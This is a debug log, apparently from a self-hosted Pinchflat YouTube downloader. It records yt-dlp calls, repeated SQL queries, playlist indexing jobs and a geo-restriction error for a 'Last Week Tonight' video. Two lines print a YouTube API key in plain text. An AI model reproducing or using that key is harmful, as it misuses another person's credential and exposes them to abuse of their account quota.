Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:09.698 [debug] QUERY OK source="settings" db=0.1ms idle=1029.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:09.698 [debug] QUERY OK source="settings" db=0.0ms idle=1029.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:09.698 [debug] Running yt-dlp command for action: get_media_attributes 17:07:09.698 [debug] QUERY OK source="settings" db=0.0ms idle=1029.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:09.698 [debug] QUERY OK source="settings" db=0.0ms idle=1023.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:09.699 [debug] QUERY OK source="settings" db=0.0ms idle=136.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:09.699 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b8/7f/b87f23f4593838fed0254f243494a284be0a0f228e3e19f431f1f7364e6c0605.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:10.569 [info] {"args":{"id":4},"id":3800096,"meta":{},"system_time":1770764830569598205,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:10.569 [debug] QUERY OK source="sources" db=0.1ms idle=870.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 17:07:10.570 [debug] QUERY OK source="settings" db=0.1ms idle=871.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.570 [debug] QUERY OK source="media_profiles" db=0.0ms idle=871.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:10.570 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.570 [debug] Fetching recent media IDs from YouTube API for playlist: UUDiKw3GnFIwyNJBzhCoRI-Q 17:07:10.570 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.570 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:10.659 [debug] QUERY OK source="media_items" db=0.8ms idle=88.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [4, "ZOz1fA9W3Ms", "QtVIR_-hMq8", "sPysKEfXzWM", "TEPKKZtclTA", "33Ur3hu8a6c", "6kGBOMlXkkA", "op_mXNwUcwY", "2chMcaJPJW0", "3rVVYrja1Vw", "gCPfw2SilN4", "VNtW1fQ6EuU", "pXtgLb_sshk", "hAUXFfoCTyI", "Zcpd7Vyf4IU", "dRdYKu4I_ug", "cuKH5srkMho", "BIginPllRjc", "0RzUBqtgODM", "OZRG7Og61mw", "Ejl-7X74tgc", "os_fHy1mB_M", "qtDhWmsunBo", "7aQZzcEWKRk", "zI6ZQls54Ms", "6X0g5M-khKU", "-8k7jTF_JCg", "T8wDRU6u8h0", "QwpTAk_IiyU", "6yyMjLmVl_o", "mXRd0KTKmPU", "VlT2fM2wfkw", "JJRdUelpO7M", "6UPn6rtZ19M", "gZs97pRqpRw", "GYJt4ESv85U", "U0uC9ybxEAM", "-SKG5OkBCjI", "nYtdWS-0OOE", "NRt8cfts_T8", "7ELwpQnk_5A", "89l-XhVKLcY", "zNlqUHQF0_A", "vHR2Ri5gLMA", "rD0BXs8IOSU", "7td4By-rj_w", "Gm_JZRdtQ2Q", "GbOzaYU694U", "dUGtGZO_54M", "9X3f-VGBOfM", ...] 17:07:10.660 [debug] QUERY OK source="media_items" db=0.3ms idle=89.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [4] 17:07:10.660 [debug] QUERY OK source="tasks" db=0.1ms idle=90.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800134, 4, ~U[2026-02-10 23:07:10Z], ~U[2026-02-10 23:07:10Z]] 17:07:10.661 [info] {"args":{"id":4},"id":3800096,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":91246,"event":"job:stop","queue_time":413402,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:10.666 [info] {"args":{"id":24},"id":3800097,"meta":{},"system_time":1770764830666789712,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:10.667 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [24] 17:07:10.667 [debug] QUERY OK source="settings" db=0.1ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.667 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:10.667 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.667 [debug] Fetching recent media IDs from YouTube API for playlist: UUgzg_f5HC6EnY-9q5Px1Q-g 17:07:10.668 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:10.668 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 17:07:10.770 [debug] QUERY OK source="media_items" db=0.6ms idle=102.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [24, "EqcdcLKC5bE", "XWN9YMVaTio", "0ff4TbRMPcE", "lr65O1qIhT4", "lQPuHoc-93U", "8jv8nOKR_Ck", "8lzNViKW9F8", "r2GTUZ2zQSE", "Ki7sgG5i5P0", "dI43FJGa52A", "Tb0Z5jKFrKA", "A1QzVQn8hH8", "lWvIsb06YYg", "rLmO075A07c", "uPvdvnz9rLc", "IBk-Nh0VRy0", "IclNtwcicpc", "emMmkd-o2-o", "o3CQZ4JmTU8", "p6Q9chqIwyg", "0voL1hfm3e4", "HCQGhsHO1nM", "6xs7fjbo2NM", "yCdY2eeT8fQ", "faSZB8yewoU", "otxMmPttGp4", "7pysYXsQ8Ps", "QJtdNwlYFDM", "iBclMIJgm7k", "UI4lFdFfOFI", "apGupfbctgs", "qhRfchtbX-0", "73Vhinj4iEI", "M6o0F4zC8Ps", "NrQ0BAnY8sk", "y7WdMKmMR5Y", "J0z4YoAcmKI", "6eSG5JLP0-g", "AvswAhGn_PU", "4FFIce1pjH0", "yOM58cUfPhs", "gTT34dgyJfA", "hZJe5fqUbQA", "RNGpdA2TR1M", "PmIe2ZOPcA0", "zImBY_tGMIU", "1VUhrRFTY_0", "QJDpwY5MGjs", "xYFjwbtJs7U", ...] 17:07:10.771 [debug] QUERY OK source="media_items" db=0.2ms idle=104.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [24] 17:07:10.772 [debug] QUERY OK source="tasks" db=0.1ms idle=104.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3800135, 24, ~U[2026-02-10 23:07:10Z], ~U[2026-02-10 23:07:10Z]] 17:07:10.773 [info] {"args":{"id":24},"id":3800097,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":106151,"event":"job:stop","queue_time":387871,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:11.307 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=LmmeWg_DHdc --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/b8/7f/b87f23f4593838fed0254f243494a284be0a0f228e3e19f431f1f7364e6c0605.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country This video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa. You might want to use a VPN or a proxy server (with --proxy) to workaround. 17:07:11.308 [error] Error creating media item 'LmmeWg_DHdc' from URL: {:error, "ERROR: [youtube] LmmeWg_DHdc: The uploader has not made this video available in your country\nThis video is available in Andorra, Antigua and Barbuda, Anguilla, Albania, Armenia, Antarctica, Argentina, American Samoa, Austria, Aruba, Åland Islands, Azerbaijan, Bosnia and Herzegovina, Barbados, Bangladesh, Belgium, Bulgaria, Saint Barthélemy, Bermuda, Brunei Darussalam, Bolivia, Plurinational State of, Bonaire, Sint Eustatius and Saba, Brazil, Bahamas, Bhutan, Bouvet Island, Belarus, Belize, Cocos (Keeling) Islands, Switzerland, Cook Islands, Chile, China, Colombia, Costa Rica, Cuba, Curaçao, Christmas Island, Cyprus, Czech Republic, Germany, Denmark, Dominica, Dominican Republic, Ecuador, Estonia, Finland, Fiji, Falkland Islands (Malvinas), Micronesia, Federated States of, Faroe Islands, France, Grenada, Georgia, French Guiana, Guernsey, Greenland, Gambia, Guadeloupe, Greece, South Georgia and the South Sandwich Islands, Guatemala, Guam, Guyana, Hong Kong, Heard Island and McDonald Islands, Honduras, Croatia, Haiti, Hungary, Indonesia, Israel, Isle of Man, British Indian Ocean Territory, Iran, Islamic Republic of, Iceland, Italy, Jersey, Jamaica, Japan, Kyrgyzstan, Cambodia, Kiribati, Saint Kitts and Nevis, Korea, Democratic People's Republic of, Korea, Republic of, Cayman Islands, Kazakhstan, Lao People's Democratic Republic, Saint Lucia, Liechtenstein, Sri Lanka, Lithuania, Luxembourg, Latvia, Monaco, Moldova, Republic of, Montenegro, Saint Martin (French part), Marshall Islands, Macedonia, the Former Yugoslav Republic of, Myanmar, Mongolia, Macao, Northern Mariana Islands, Martinique, Montserrat, Malta, Maldives, Mexico, Malaysia, New Caledonia, Norfolk Island, Nicaragua, Netherlands, Norway, Nepal, Nauru, Niue, Panama, Peru, French Polynesia, Papua New Guinea, Philippines, Pakistan, Poland, Saint Pierre and Miquelon, Pitcairn, Puerto Rico, Palestine, State of, Portugal, Palau, Paraguay, Romania, Serbia, Russian Federation, Solomon Islands, Sweden, Singapore, Slovenia, Svalbard and Jan Mayen, Slovakia, Suriname, Sao Tome and Principe, El Salvador, Sint Maarten (Dutch part), Syrian Arab Republic, Swaziland, Turks and Caicos Islands, French Southern Territories, Thailand, Tajikistan, Tokelau, Timor-Leste, Turkmenistan, Tonga, Turkey, Trinidad and Tobago, Tuvalu, Taiwan, Province of China, Ukraine, United States Minor Outlying Islands, Uruguay, Uzbekistan, Holy See (Vatican City State), Saint Vincent and the Grenadines, Venezuela, Bolivarian Republic of, Virgin Islands, British, Virgin Islands, U.S., Viet Nam, Vanuatu, Wallis and Futuna, Samoa.\nYou might want to use a VPN or a proxy server (with --proxy) to workaround.\n", 1} 17:07:11.308 [debug] QUERY OK source="settings" db=0.1ms idle=535.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.308 [debug] QUERY OK source="settings" db=0.1ms idle=535.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.308 [debug] Running yt-dlp command for action: get_media_attributes 17:07:11.311 [debug] QUERY OK source="settings" db=0.1ms idle=538.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.311 [debug] QUERY OK source="settings" db=0.0ms idle=537.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.311 [debug] QUERY OK source="settings" db=0.1ms idle=531.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.311 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=0qmNAOCgbgY --simulate --skip-download --output /downloads/Last Week Tonight/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/53/6e/536e88177421beb2e7e58cc696f6c21a183bcbb20d188edc648f179f06097ff2.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 17:07:11.570 [info] {"args":{"id":26},"id":3800098,"meta":{},"system_time":1770764831570727582,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 17:07:11.571 [debug] QUERY OK source="sources" db=0.0ms idle=259.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [26] 17:07:11.571 [debug] QUERY OK source="settings" db=0.1ms idle=259.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:07:11.571 [debug] QUERY OK source="media_profiles" db=0.1ms idle=259.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 17:07:11.571 [debug] QUERY OK source="settings" db=0.1ms idle=6.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 